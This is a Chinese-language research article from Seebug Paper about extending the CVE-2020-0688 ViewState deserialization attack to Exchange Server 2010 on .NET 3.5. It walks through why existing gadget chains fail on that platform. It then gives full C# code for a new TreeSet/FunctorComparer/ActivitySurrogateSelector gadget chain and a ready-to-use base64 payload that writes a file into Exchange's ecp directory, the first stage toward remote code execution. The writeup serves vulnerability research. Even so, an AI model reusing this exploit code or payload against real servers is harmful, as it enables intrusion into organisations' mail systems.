作者:EazyLov3
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送!
投稿郵箱:paper@seebug.org
0x10 起因
近期在眾所周知的活動中,各種漏洞利用花樣不斷,值得好好復盤一番。其中一位藍方朋友負責的Exchange Server 2010淪陷引起了我的興趣,因為日志被刪沒有第一時間找到入侵方法,對比備份后發現ecp目錄下存在一名為LiveIdError.aspx的空白文件,Google了一下才發現是CVE-2020-0688反序列化攻擊 ,但細究一下竟發現沒有針對Exchange Server 2010及以下版本的公開利用方法,似乎是因為低版本.Net Framework(下稱fx)的反序列化限制而難以利用。
在可利用性得到@zcgonvh 前輩肯定之后,本文嘗試復現這個漏洞在Exchange Server 2010環境下的利用方法。
0x20 漏洞相關資料
對.Net和Exchange都一無所知的我來說,首先要做的當然是先搞清楚為什么現有的PoC和利用方法不能利用在低版本,具體限制是什么。
0x21 現有的利用方式的關鍵Payload
在GitHub檢索CVE-2020-0688關鍵字,排名靠前的有以下幾個項目
https://github.com/Ridter/cve-2020-0688
https://github.com/random-robbie/cve-2020-0688
https://github.com/zcgonvh/CVE-2020-0688
https://github.com/Yt1g3r/CVE-2020-0688_EXP
https://github.com/Jumbo-WJB/CVE-2020-0688
大致看了一遍這些項目的說明和代碼,核心Payload均是由ysoserial.net項目的TextFormattingRunProperties反序列化鏈構造而實現命令執行,其中zcgonvh前輩的紅隊武器化利用分析和exp大放異彩,實現真正的遠程代碼執行,使漏洞潛力得到完全發揮,分析、檢測、利用和修復的方式都相當精致,堪稱藝術。
多次研讀文章,發現exp通過第一階段反序列化漏洞攻擊在ecp下寫入LiveIdError.aspx白文件,第二階段則通過默認MachineKey生成ViewState的序列化payload,POST給第一階段生成的白文件執行,實現遠程加載任意.Net代碼。
搭建Exchange Server 2010環境手動在ecp下創建LiveIdError.aspx后發現同樣可以使用第二階段的利用,比較接近攻擊者的思路。
因此本文也以尋找方法在第一階段實現寫入LiveIdError.aspx文件為目標。 而該exp第一階段寫入文件的Payload仍是由TextFormattingRunProperties反序列化鏈構造。
0x22 為什么是TextFormattingRunProperties
根據分析,這個漏洞本質上是ecp目錄下默認加密密鑰沿用多年結合viewstate特性造成,理論上該目錄下所有aspx腳本均有可能觸發,除非web.config特別聲明該aspx由PageHandlerFactory以外的類處理, https://github.com/Yt1g3r/CVE-2020-0688_EXP 這里也列出了其他的觸發點,而不局限于/ecp/default.aspx,只是路徑不同導致VIEWSTATEGENERATOR參數值不同。又因為ecp下的web.config限制了大多數腳本可接受的請求方法和處理映射,導致默認情況下只能從少數aspx的GET請求中傳入序列化payload。
而IIS的GET請求的參數和值長度加起來最多只能接受2048字節,而ysoserial.net項目生成的Payload大多很長,其中的由Oleksandr Mirosh發現TextFormattingRunProperties鏈則被特別標注為用于生成盡可能短的反序列化Payload,因此應用較多。
那么也先應用在低版本試試。
0x23 為什么TextFormattingRunProperties在低版本不可用
首先搭建Exchange Server 2010 SP3 + Windows Server 2008 R2,所有環境配置默認。 由于登陸過程有些細節不同,所以將zcgonvh的exp中做一些微調,主要是注釋掉登錄校驗的return。
為了方便得到調試信息,直接在Exchange服務器上執行Exp,用burp抓包返回500報錯,說明很可能已觸發反序列化,但并沒有寫入LiveIdError.aspx文件,使用其它exp也無法執行命令。得到異常堆棧如下
[SerializationException: Unable to find assembly 'Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35'.]
System.Runtime.Serialization.Formatters.Binary.BinaryAssemblyInfo.GetAssembly() +3129209
System.Runtime.Serialization.Formatters.Binary.ObjectReader.GetType(BinaryAssemblyInfo assemblyInfo, String name) +10111295
System.Runtime.Serialization.Formatters.Binary.ObjectMap..ctor(String objectName, String[] memberNames, BinaryTypeEnum[] binaryTypeEnumA, Object[] typeInformationA, Int32[] memberAssemIds, ObjectReader objectReader, Int32 objectId, BinaryAssemblyInfo assemblyInfo, SizedArray assemIdToAssemblyTable) +198
System.Runtime.Serialization.Formatters.Binary.__BinaryParser.ReadObjectWithMapTyped(BinaryObjectWithMapTyped record) +272
System.Runtime.Serialization.Formatters.Binary.__BinaryParser.Run() +235
System.Runtime.Serialization.Formatters.Binary.ObjectReader.Deserialize(HeaderHandler handler, __BinaryParser serParser, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage) +559
System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream, HeaderHandler handler, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage) +326
System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream) +33
System.Web.UI.ObjectStateFormatter.DeserializeValue(SerializerBinaryReader reader) +10963475
System.Web.UI.ObjectStateFormatter.Deserialize(Stream inputStream) +136
[ArgumentException: The serialized data is invalid.]
System.Web.UI.ObjectStateFormatter.Deserialize(Stream inputStream) +10963500
System.Web.UI.ObjectStateFormatter.Deserialize(String inputString) +446
System.Web.UI.Util.DeserializeWithAssert(IStateFormatter formatter, String serializedState) +59
System.Web.UI.HiddenFieldPageStatePersister.Load() +124
這里提示找不到Microsoft.PowerShell.Editor這個程序集,可根據TextFormattingRunProperties鏈首先發現者Oleksandr Mirosh的說明,這個程序集Win7以后即包含在系統中,只是可能需要修改版本號。直接在Exchange服務器上搜索這個dll,發現存在于C:\Windows\winsxs\msil_microsoft.powershell.editor_31bf3856ad364e35_6.1.7601.17514_none_e1afc4bb6ff47625目錄下,反編譯了一下只是包名有所不同,改改payload還能用,但這個目錄似乎不在GAC中,祭出dnSpy在Windows Server 2008 R2環境下搜索這個類,同樣無法找到,說明確實不在.net可全局調用的GAC中。
琢磨了一番,又不能通過指定路徑的方式使反序列化的時候去調用到這個DLL,因此TextFormattingRunProperties鏈在這里似乎斷裂了,至少我已經想不到還有什么辦法能調用到它。
現在只能考慮尋找其他鏈來利用這個漏洞,并且利用鏈有兩個必要條件,首先其用到的所有類必須在fx 3.5的默認GAC或Exchange的類庫中,其次,生成的Payload不可過長,除去參數名,實際payload大約不能超過2000字節,這聽起來太CTF了。
0x30 一些失敗的嘗試
檢索一番資料后發現公開的.net反序列化鏈都已經匯總到ysoserial.net項目中,下載1.34版本測試這些鏈輪番上陣后均以失敗告終,具體原因如下。
(*) ActivitySurrogateDisableTypeCheck
這條鏈用于禁用fx4.8以上的類型檢查,與本次漏洞利用無關
(*) ActivitySurrogateSelector
(*) ActivitySurrogateSelectorFromFile
以上兩條鏈都是遠程加載任意.Net程序集的形式,所以會大幅增加Payload長度,直接pass
(*) AxHostState
結合調用TextFormattingRunProperties故不可行
(*) ClaimsIdentity
同上
(*) DataSet
同上
(*) ObjectDataProvider
生成格式并非本次漏洞要求的BinaryFormatter
(*) PSObject
CVE-2017-8565攻擊,這是為數不多的被微軟修復的反序列化鏈,且不說已有補丁,這個類在fx3.5下壓根沒標記為可序列化,而且Payload長度也超出預期,當然也就不考慮繼續利用。
(*) RolePrincipal
結合調用TextFormattingRunProperties故不可行
(*) SessionSecurityToken
同上
(*) SessionViewStateHistoryItem
同上
(*) TextFormattingRunProperties
低版本程序集不在GAC中,默認情況下無法調用到
(*) TypeConfuseDelegate
報錯找不到SortedSet類,msdn文檔顯示該類僅存在于fx4.0以上
(*) TypeConfuseDelegateMono
同上
(*) WindowsClaimsIdentity
結合調用TextFormattingRunProperties故不可行
(*) WindowsIdentity
同上
(*) WindowsPrincipal
同上
可以發現格式符合且不依賴TextFormattingRunProperties鏈的只剩下ActivitySurrogateSelector,PSObject和TypeConfuseDelegate。
第一個縮短payload比較困難,第二個也是如此且有補丁暫時不考慮,第三個調用邏輯最簡單,而且在查看ysoserial.net源代碼時發現這個鏈有一段精簡過的,硬編碼的payload,長度僅1200字節左右,測試可以在Exchange Server 2013中使用,調用邏輯并不復雜,似乎有應用到更低版本的潛質。
0x40 修補殘缺的鏈條
首先看看這條鏈的最先發現者James Forshaw的說明,這條鏈首先創建了一個多播(這里是兩個String.Comparer)委托比較器,并由Comparer<String>.Create(Delegate)創建ComparisonComparer轉換為IComparer<String>接口格式,然后由SortedSet<String>類包裝并設定執行命令的參數,最后修改調用列表將其中一個String.Comparer委托改為執行命令的函數Process.Start(String)再將整個SortedSet對象序列化生成Payload,在反序列化的時候ComparisonComparer將會調用System.Comparison`1.Invoke(T x, T y)執行之前修改過的委托,從而實現任意代碼執行。
按照原作者James Forshaw的說明,由于Comparer<String>Create(Delegate)函數只存在于.Net framework 4.5以上,所以只能應用于4.5以上,不過實測了一下由于ComparisonComparer在4.0就已經存在,而且反序列化過程中并不會調用到Comparer<String>.Create(Delegate),所以可以通過簡單修改實現手動創建這個比較器即可實現在4.0下利用,但在3.5環境下尚不存在,另一關鍵的SortedSet類也是如此,所以這仍然不符合漏洞利用要求。
接下來嘗試找到這兩個關鍵零件的低版本替代。
0x41 缺失零件的前世今生
首先看最外層包裝的SortedSet類,它本身是一個自動排序對象的集合類,因此替代品應該優先考慮在同一個包System.Collections.Generic下尋找類似特性的集合類,不過在Google這個類時發現大多資料都來源于Java中的SortedSet類,并且在Java中有一個TreeSet類幾乎是唯一實現了SortedSet的類。
考慮到C#和Java是異父異母的親兄弟,于是在微軟公開的.Net代碼庫中檢索了一番,發現確實也有TreeSet 而且是直接繼承SortedSet類。
雖然是內部類,不過無所謂,在ysoserial.net源碼中那段精簡過的TypeConfusedelegate鏈payload里把SortedSet直接改為TreeSet編譯后執行
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c calc -t -minify
仍可在fx 4.0下實現命令執行。 不過這份公開代碼是fx 4.5以后的版本,3.5和更早以前版本的公開源碼已經年代久遠,找不到參考資料了。
不過奇怪的是在fx 4.0尚未發布的時候就有人在stackoverflow提過.Net中的TreeSet類相關的問題 ,推測TreeSet可能早已存在于fx中,但只是以內部類存在。直接祭出dnSpy,直接在本機的fx代碼庫尋找
果不其然,在2.0版本同一個包System.Collections.Generic下TreeSet就已經存在,沒有SortedSet繼承所以是獨立實現。
大致查看了代碼結構和反序列化行為與SortedSet對比只有一些細微的差異,在本次漏洞利用中可以認為沒有區別,可直接作為SortedSet的替代品。
再來看看另一個零件ComparisonComparer,再次嘗試在低版本同一個包下已尋找類似的替代,卻發現幾乎沒有類似的實現,幾乎沒有接受Comparison的比較器。根據之前學習這條鏈的邏輯,最終通過調用System.Comparison`1.Invoke(T x, T y)去執行指定委托實現代碼執行,System.Comparison類在低版本是存在的,那么對比分析一下Invoke方法在不同版本fx都有被哪些類調用過。
可以發現,同樣調用這個方法的高低版本都有一個System.Array.FunctorComparer<T>.Compare(T, T),查看代碼后發現結構幾乎完全一致,僅私有變量命名少了個下劃線而已,似乎可以替代ComparisonComparer。
但直接測試才發現這個類沒有Serializable標記為可序列化而無法使用。難道這條路走不通?
0x42 序列化一個不可序列化的類
不甘心的繼續研讀zcgonvh的分析,發現這里提到
fx的程序集中存在兩個極為重要的工廠類:[mscorlib]System.DelegateSerializationHolder和[System.Workflow.ComponentModel]System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate+ObjectSerializedRef。按照微軟的本意,只有標記了SerializableAttribute、實現ISerializable、繼承自MarshalByRefObject的類才能進行序列化/反序列化。序列化操作的實現是完全沒有問題的,而在反序列化操作中并沒有要求返回類型滿足上述約束(當然,這是特性而不是漏洞)。借助DelegateSerializationHolder,我們可以反序列化任何委托(無論方法、屬性,也不分靜態或實例);而借助ObjectSerializedRef可實現任意類反序列化。
看起來仍然有路可走,現在問題轉化為序列化System.Array.FunctorComparer這個不可序列化的類。 繼續檢索資料,發現ActivitySurrogateSelector鏈可以序列化任意類,這條鏈同樣由James Forshaw首先發現,從fx3.0起即可利用,出處同前一篇文章 從中摳出對應的PoC并且結合本次漏洞利用構造以下測試代碼嘗試構造序列化Payload并反序列化寫入文件,由于寫文件的WriteAllText函數沒有返回值,這里由Func委托改為Action委托,另外需要對本機fx做一些改動所以可能測試代碼在其它機器無法運行。
class Program
{
public static Comparison<string> d { get; set; }
public static Delegate da { get; set; }
static void Main(string[] args)
{
ConfigurationSettings.AppSettings.Set(
"microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck",
"true"
);
da = new Comparison<string>(String.Compare);
d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = new System.Array.FunctorComparer<string>(d);
TreeSet<string> set = new TreeSet<string>(comp);
set.Add(@"LiveIdError.aspx");
set.Add("");
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
invoke_list[1] = new Action<string, string>(File.WriteAllText);
fi.SetValue(d, invoke_list);
MemoryStream stream = new MemoryStream();
BinaryFormatter fmt = new BinaryFormatter();
SurrogateSelector ss = new MySu();
fmt.SurrogateSelector = ss;
fmt.Serialize(stream, set);
Console.WriteLine(Convert.ToBase64String(stream.ToArray()));
Console.ReadKey();
stream.Position = 0;
fmt.Deserialize(stream);
}
internal class MySu : SurrogateSelector
{
public override ISerializationSurrogate GetSurrogate(Type type,
StreamingContext context, out ISurrogateSelector selector)
{
selector = this;
if (!type.IsSerializable)
{
Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
return (ISerializationSurrogate)Activator.CreateInstance(t);
}
return base.GetSurrogate(type, context, out selector);
}
}
}
實際執行發現序列化沒有問題了,但反序列化卻會報錯空引用異常System.NullReferenceException,未將對象引用設置到對象的實例。
上dnSpy調試發現反序列化TreeSet時,接收到的構造參數Comparer竟然是null而不是預期的System.Array.FunctorComparer,這一點比較奇怪。
修改測試代碼發現反序列化TreeSet時,System.Array.FunctorComparer還處于尚未反序列化狀態,當然也就無法傳給TreeSet,這可太奇怪了。
0x43 調整反序列化順序
既然我遇到了這個問題,前輩們肯定也遇到過,因此繼續嘗試理解ActivitySurrogateSelector鏈。對比本次漏洞利用除了序列化任意類之外,兩條鏈實際上關聯不大,一開始以為需要引入Linq處理順序問題,但迅速意識到那將會大幅增加Payload長度而被否決。反復研讀原文和代碼后發現 ActivitySurrogateSelector鏈的代碼在第84行有這樣一句注釋
// Pre-load objects, this ensures they're fixed up before building the hash table.
隨后將需要序列化的對象加入一個List中,并且最后也將角色類似本文TreeSet的Hashtable加入List,最后序列化整個List對象生成Payload。 照這么看,推測很可能是由于某個特性,默認情況下這些不可序列化的類最后才會被反序列化,而引入List來自定義各個對象的順序可以解決這個問題。
0x44 最終實現
因此參照思路,再次修改測試代碼如下
class Program
{
public static Comparison<string> d { get; set; }
public static Delegate da { get; set; }
static void Main(string[] args)
{
ConfigurationSettings.AppSettings.Set(
"microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck",
"true"
);
da = new Comparison<string>(String.Compare);
d = (Comparison<string>)MulticastDelegate.Combine(da, da);
IComparer<string> comp = new System.Array.FunctorComparer<string>(d);
TreeSet<string> set = new TreeSet<string>(comp);
set.Add(@"LiveIdError.aspx");
set.Add("");
FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance);
object[] invoke_list = d.GetInvocationList();
invoke_list[1] = new Action<string, string>(File.WriteAllText);
fi.SetValue(d, invoke_list);
MemoryStream stream = new MemoryStream();
BinaryFormatter fmt = new BinaryFormatter();
SurrogateSelector ss = new MySu();
fmt.SurrogateSelector = ss;
List<object> ls = new List<object>();
ls.Add(comp);
ls.Add(set);
Console.WriteLine("[++] Serializing");
fmt.Serialize(stream, ls);
String payload = Convert.ToBase64String(stream.ToArray());
stream.Position = 0;
Console.WriteLine("[++] Deserializing");
fmt.Deserialize(stream);
Console.WriteLine(payload);
Console.Writeline("Payload Length: " + payload.Length);
Console.ReadKey();
}
internal class MySu : SurrogateSelector
{
public override ISerializationSurrogate GetSurrogate(Type type,
StreamingContext context, out ISurrogateSelector selector)
{
selector = this;
Console.WriteLine("[*] "+type);
if (!type.IsSerializable)
{
Console.WriteLine("[+] "+type);
Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
return (ISerializationSurrogate)Activator.CreateInstance(t);
}
return base.GetSurrogate(type, context, out selector);
}
}
}
編譯執行,反序列化順利完成寫入文件操作,證明思路正確。但生成的Payload有點長,達到三千多字節,參照ysoserial.net項目的精簡思路,裁剪到大約1900字節以內,即可實現在默認路徑的ecp下寫入LiveIdError.aspx空白文件,payload如下:
AAEAAAD/////AQAAAAAAAAAEAQAAADJTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5MaXN0YDFbW1N5c3RlbS5PYmplY3RdXQIAAAAGX2l0ZW1zBV9zaXplBQAICQIAAAACAAAAEAIAAAAEAAAACQMAAAAJBAAAAA0CDAUAAAAeU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsBQMAAABqU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLlNlcmlhbGl6YXRpb24uQWN0aXZpdHlTdXJyb2dhdGVTZWxlY3RvcitPYmplY3RTdXJyb2dhdGUrT2JqZWN0U2VyaWFsaXplZFJlZgIAAAAEdHlwZQttZW1iZXJEYXRhcwMFAXgFAAAACQYAAAAJBwAAAAwIAAAABlN5c3RlbQUEAAAANVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlRyZWVTZXRgMVtbU3lzdGVtLlN0cmluZ11dBAAAAAVDb3VudAhDb21wYXJlcgdWZXJzaW9uBUl0ZW1zAAQABggBeAUAAAAICAAAAAIAAAAJAwAAAAEAAAAJCgAAAAQGAAAAH1N5c3RlbS5Vbml0eVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAABERhdGEJVW5pdHlUeXBlDEFzc2VtYmx5TmFtZQEAAQgGCwAAAC9TeXN0ZW0uQXJyYXkrRnVuY3RvckNvbXBhcmVyYDFbW1N5c3RlbS5TdHJpbmddXQQAAAAGDAAAAAhtc2NvcmxpYhAHAAAAAgAAAAkNAAAACQ4AAAARCgAAAAIAAAAGDwAAAAAGEAAAAFBDOlxQcm9ncmFtIEZpbGVzXE1pY3Jvc29mdFxFeGNoYW5nZSBTZXJ2ZXJcVjE0XENsaWVudEFjY2Vzc1xlY3BcTGl2ZUlkRXJyb3IuYXNweAQNAAAAIlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIDAAAACERlbGVnYXRlAAF4AQEBCREAAAANAA0ABA4AAAA9U3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuR2VuZXJpY0NvbXBhcmVyYDFbW1N5c3RlbS5TdHJpbmddXQAAAAAEEQAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkAEnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQEBAQEBBhQAAABEU3lzdGVtLkFjdGlvbmAyW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYl0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliXV0GFQAAAE5TeXN0ZW0uQ29yZSwgVmVyc2lvbj0zLjUuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkNAAkMAAAABhcAAAAOU3lzdGVtLklPLkZpbGUGGAAAAAxXcml0ZUFsbFRleHQJGQAAAAQSAAAAAXgGAAAAAAAAAAAAAQEBAQABCA0ADQANAA0AAAAAAA0AARMAAAASAAAABh4AAAAHQ29tcGFyZQ0ABiAAAAANU3lzdGVtLlN0cmluZw0ACAAAAAoBGQAAABEAAAAGIgAAACRTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nXV0JDAAAAA0ACQwAAAAJIAAAAAkeAAAACw==
后續使用zcgonvh前輩的exp即可如高版本一樣實現任意代碼執行,這里附一份整合本文的exp,使用方法不變,遇到Exchange Server 2010加上-v35參數即可,稍后提一份PR如果頭像哥不嫌棄我代碼垃圾也許會合并到exp項目。
0x50 彈個計算器?
由于payload長度限制的原因,直接執行命令在這個漏洞中已經意義不大,然而不管完美不完美,彈個計算器是每一個代碼執行漏洞的基本要求,按同樣的思路這里再測試一段彈計算器的Payload。
0x60 一點感想
這幾年各種各樣的漏洞層出不窮,各種一鍵GetShell比比皆是,然而爛尾的漏洞也不少,披露信息只有寥寥數語就再也沒有后續或者實際利用存在各種限制,也許很多漏洞都值得重新調試來發現更多可能。
調試這個漏洞的過程中學到了大量.Net和反序列化相關的知識,非常感謝@zcgonvh 前輩的幫助,給了我強大的信心,但在下對這些知識的理解仍然十分粗淺,文中仍可能有錯漏之處,敬請讀者指正。
唯一糾結是LiveIdError.aspx這個全版本默認都不存在的文件本身作用到底是什么,檢索了一些資料仍無法理解,結合默認沿用多年的MachineKey,多多少少讓這個漏洞有點后門的嫌疑。
在調試完在CVE-2020-0688低版本的利用之后,再次回顧@zcgonvh 的分析文章,才發現竟然早已包含本文幾乎所有必要知識,不得不說zcgonvh前輩真是功力深厚,而且對遲鈍如我這樣的菜鳥路人,仍愿意不厭其煩的提點,實在令人敬佩,神秘的A-TEAM又令人多向往了一分。
參考資料
https://www.t00ls.net/viewthread.php?tid=55183 https://community.microfocus.com/t5/Security-Research-Blog/New-NET-deserialization-gadget-for-compact-payload-When-size/ba-p/1763282
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/1371/